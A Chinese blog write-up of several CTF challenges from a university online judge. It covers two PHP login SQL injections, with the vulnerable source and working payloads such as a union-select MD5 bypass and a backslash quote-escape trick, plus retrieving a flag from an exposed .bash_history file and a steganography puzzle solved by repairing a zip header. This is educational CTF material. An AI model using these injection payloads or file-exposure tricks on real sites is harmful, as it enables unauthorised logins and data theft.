美文网首页
南邮oj几道有意思的题

南邮oj几道有意思的题

作者: yangc随想 | 来源:发表于2018-06-13 23:25 被阅读0次

    南邮oj用户体验贼差,好多题不是打不开就是假flag,还有的题照着正确的输都是错的,然后过一会又能输对了,服了,还有那个综合题二,做到一半把代码都下载下来了,题目竟然被改了?????跪了,然后第二天看的时候竟然连接不上数据库......

    SQL注入2

    早就听说过有md5绕过登陆的方法,今天终于看到源码了

    <?php
    if($_POST[user] && $_POST[pass]) {
       mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = $_POST[user];
      $pass = md5($_POST[pass]);
      $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
      if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
          echo "<p>Logged in! Key: ntcf{**************} </p>";
      }
      else {
        echo("<p>Log in failure!</p>");
      }
    }
    ?>
    

    要想得到flag,只需要同时满足

    ($query[pw]) && (!strcasecmp($pass, $query[pw]))
    

    $user变量我们是可以控制的,然后又没有任何过滤措施
    我们就可以直接利用这个语句选择一个相应的密码给对应的pw

    tips
    如果前面的用户名不存在的话
    mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
    取到的东西就是空,然后在加上我们的md5密码,就可以实现成功登陆
    

    最后payload

    user=1' union select md5(1)%23&pass=1
    

    综合题

    常规操作,可以看到头部有提示tip: history of bash,就需要查找相关的bash历史文件

    Bash shell在“~/.bash_history”(“~/”表示用户目录)文件中保存了500条使用过的命令,这样能使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。
    

    直接访问,然后拿到flag

    sql injection 4

    #GOAL: login as admin,then get the flag;
    error_reporting(0);
    require 'db.inc.php';
    
    function clean($str){
        if(get_magic_quotes_gpc()){
            $str=stripslashes($str);
        }
        return htmlentities($str, ENT_QUOTES);
    }
    
    $username = @clean((string)$_GET['username']);
    $password = @clean((string)$_GET['password']);
    
    $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
    $result=mysql_query($query);
    if(!$result || mysql_num_rows($result) < 1){
        die('Invalid password!');
    }
    
    echo $flag;
    

    clean函数是第一个需要考虑的
    这几个函数官方手册如下

    bool get_magic_quotes_gpc ( void )
    如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。
    在 PHP 5.4之 前默认是开启的
    
    string stripslashes ( string $str )
    返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
    
    string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )
    在这里
    htmlentities($str, ENT_QUOTES); // 转换双引号和单引号
    方法将把字符转换为 HTML 实体
    

    将上面的sql语句简化一下

    SELECT * FROM users WHERE name='.$username.' AND pass='.$password.';
    

    username和password是我们可以控制的
    很显然的一个方法就是把$username.' AND pass=中的 ' 用某种正规手段弄掉,
    然后password
    后面输入一些合法的东西使得搜索恒成立(中间那个东西弄没是一种很常用的点)
    一种很显而易见的payload就是

    username=\&password=or 1%23
    

    此时查询语句就是

    'SELECT * FROM users WHERE name=无用的' or 1';
    

    丘比龙De女神

    老套路,将图片保存本地,然后用notepad++打开


    last.png

    可以看到最后两行显示了另外一张图片,老套路,分离图片.
    继续老套路,搜索相应的文件名


    two_pic.png
    然后看那个nvshen.png
    nvshen.png

    可以看到这里的头部有问题


    lasT.png
    而且这里的尾部是PK文件,也就是压缩文件
    所以要将这里的文件头修改为压缩文件头
    50 4B 03 04 00 00 00
    

    然后修改文件后缀名,取图片(密码为love,曾经的文件头)
    然后根据题目提示计算md5
    然后在线md5

    相关文章

      网友评论

          本文标题:南邮oj几道有意思的题

          本文链接:https://www.haomeiwen.com/subject/cvfzsftx.html